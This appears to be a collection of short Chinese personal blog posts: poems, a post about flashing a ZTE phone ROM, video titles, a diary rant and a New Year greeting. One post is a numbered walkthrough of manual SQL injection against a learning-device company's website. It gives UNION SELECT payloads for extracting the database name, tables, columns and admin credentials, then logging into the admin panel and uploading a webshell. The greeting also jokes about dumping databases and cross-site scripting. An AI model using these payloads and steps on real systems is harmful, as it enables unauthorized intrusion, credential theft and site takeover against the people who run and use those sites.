-
等待
阳光
被挡在窗外
教室中读书声
朗朗
有一种努力 叫做
等待
-
从此,没有星期天。
天空黑了三年。
直到
我决定省略生命中的星期天。
。。。。。。
-
一次手注国内某学习机公司简单过程
1.google hacking-----------------site:xxxxx.com inurl:asp/php?id=
2.'判断是否过敏。。
3.And 1=1 and 1=2
4.Order by x-- x为数字,猜解有几个表段。。。
5.猜解到x以后,记住x的值。。。。
6.And 1=2 union select 1,2,3,4,5,....,x--
7.页面会报错,并出现数字,假设初相的数字是5,那么这一步就这样做:(用user()替换第六步中的5,再次提交)。报错的页面5的位置,会出现被5所覆盖的字符串的内容。记录该内容,这里用^表示。
8.再用version()替换刚才user()的位置,再次提交,目的是为了获取数据库的版本。报错的页面^的位置的内容会变为版本号码,例如5.0.27。
9.用database()替换上一步中的version(),查看当前库的名字,记录为^^。
10.MySQL5.0以上的版本添加了一个虚拟库information_schema,存储的是其他库的库名,表明,还有字段。
11.And 1=2 1,2,3,4,table_name,6,.....,x空格from information_schema.tables where table_schema=^^--(这一步要将^^的内容转换成十六进制在提交),提交之后,页面就会显示出库^^中所有的表名。将^^--改为^^ limit 0,1--提交,之页面只显示管理员账户的表名,记录为^^^。下面提交的时候要记得将^^^转换为十六进制再提交。
12.爆字段。And 1=2 1,2,3,4,column_name,6,.....,x空格from information_schema.columns where table_name=^^^limit 0,1-- 提交,之后会爆出字段,记录为^^^^*。将limit 0,1改为limit 0,2再提交,可以再爆下一个字段^^^^&。
13.爆字段。And 1=2 1,2,3,4,^^^^*,6,...,x from ^^ limit 0,1-- 提交,爆出该字段中第一个用户帐号。同样,用And 1=2 1,2,3,4,^^^^&,6,...,x from ^^ limit 0,1--提交,爆出与帐号对应的内容。
14.下面要找该网站的管理后台。。。有了帐号密码,再有后台登录URL,那么就可以进入后台了。:)。。。可以用啊D工具扫描后台,很容易的,你下载一个啊D,一看就会了。这里举个例子,一般后台的地址都是http://******.com/login.php之类的。。。之后用浏览器打开http://******.com/login.php,输入你爆出来的帐号和密码。。。。
15.登陆成功以后,要找到网站后台可以上传的地方。
在可以上传的地方,上传webshell。。。
-
ZTE-V960新加坡版ROM一枚
艿艿个熊,俄的ZTE-v960新加坡TMD真难伺候,俄刷遍天下所有无敌神ROM,距离感应器死活不工作。。所有技术与方案已经验证,都无法解决这一问题。据说有网友的此版大V刷2.3.7无鸭梨,不敢苟同;也许不是同一批的吧。。但是经过俄AgainX的总结,得出以下结论:
ZTE U --V960新加坡版刷2.3.7距离感应器必死。。
无耐不想把俄宝贵的时间浪费到修改ROM当中,还有99%的几率无果,就淘了一个绝对爽的2.3.5。。。。
给尼下载地址,必死的速度。刷。http://115.com/file/aniwknix
一会儿给尼上图。忘了说了,“尼玛俄是修改过主题和字体了。对了还有,尼玛俄这个可是
高仿的4.0.3哦,尼玛可不要说是俄忽悠尼哦。尼玛。。木有尼玛了。。。。。。对了对
了,尼玛不要问我有木有其它Bug哦,俄告诉尼这ROM全部正常哦。。。尼玛这个ROM
可以稳定超频哦。。。尼玛什么的,自己去刷吧,刷了就知道有多少个尼玛想说了。。尼
玛。。真的木有尼玛了。。。有俄也不说了。。有木有。。。”
-
花式台球 最美的境界 Venom Trickshots 正片完整版(高清)
-
爆了!牛人翻唱杰克逊经典歌曲beat it-都是逼的.
-
你疯了。
总结一下这几天的状态。。
1、上网
2、看电视剧
3、上网
4、看电视剧。
5、上网
6、看电视剧。
7、@@@@@@@@@@@
8、@@@@@@@@@@@@@@@
9、@@
......
.......
1010、@@@@@@@@@@@@@@@@@@@@
....................
........
2020、TMD,孙将军,你TMD简直疯了!!!没错,我就是疯了。疯的彻头彻尾,疯得侵入了骨头里。
-
xiaohaizi.org在这里安家了
一直漂泊的米今天在点点安家了……还有几个米,懒的动它,让它先流浪吧。自从上次服务器挂掉以后,一些心得与体会就写在了百度空间上,这里一篇,那里一句。在看了一个学哥的博客之后,发现点点网可以绑米了,很久前被邀请注册了点点,之后没有光顾。用了点点,省了空间,试了一下,速度不错。用来写一些技术心得或者生活点滴也是很好的。
-
元旦快乐!
#D仔:各位,新的一年2012马上就要到来了。D仔在这里祝大家元旦快乐,工作顺利!
在2012这个很。黄。很。刁。的年份里,技术更牛X,脱裤更游刃,跨站更有余!!!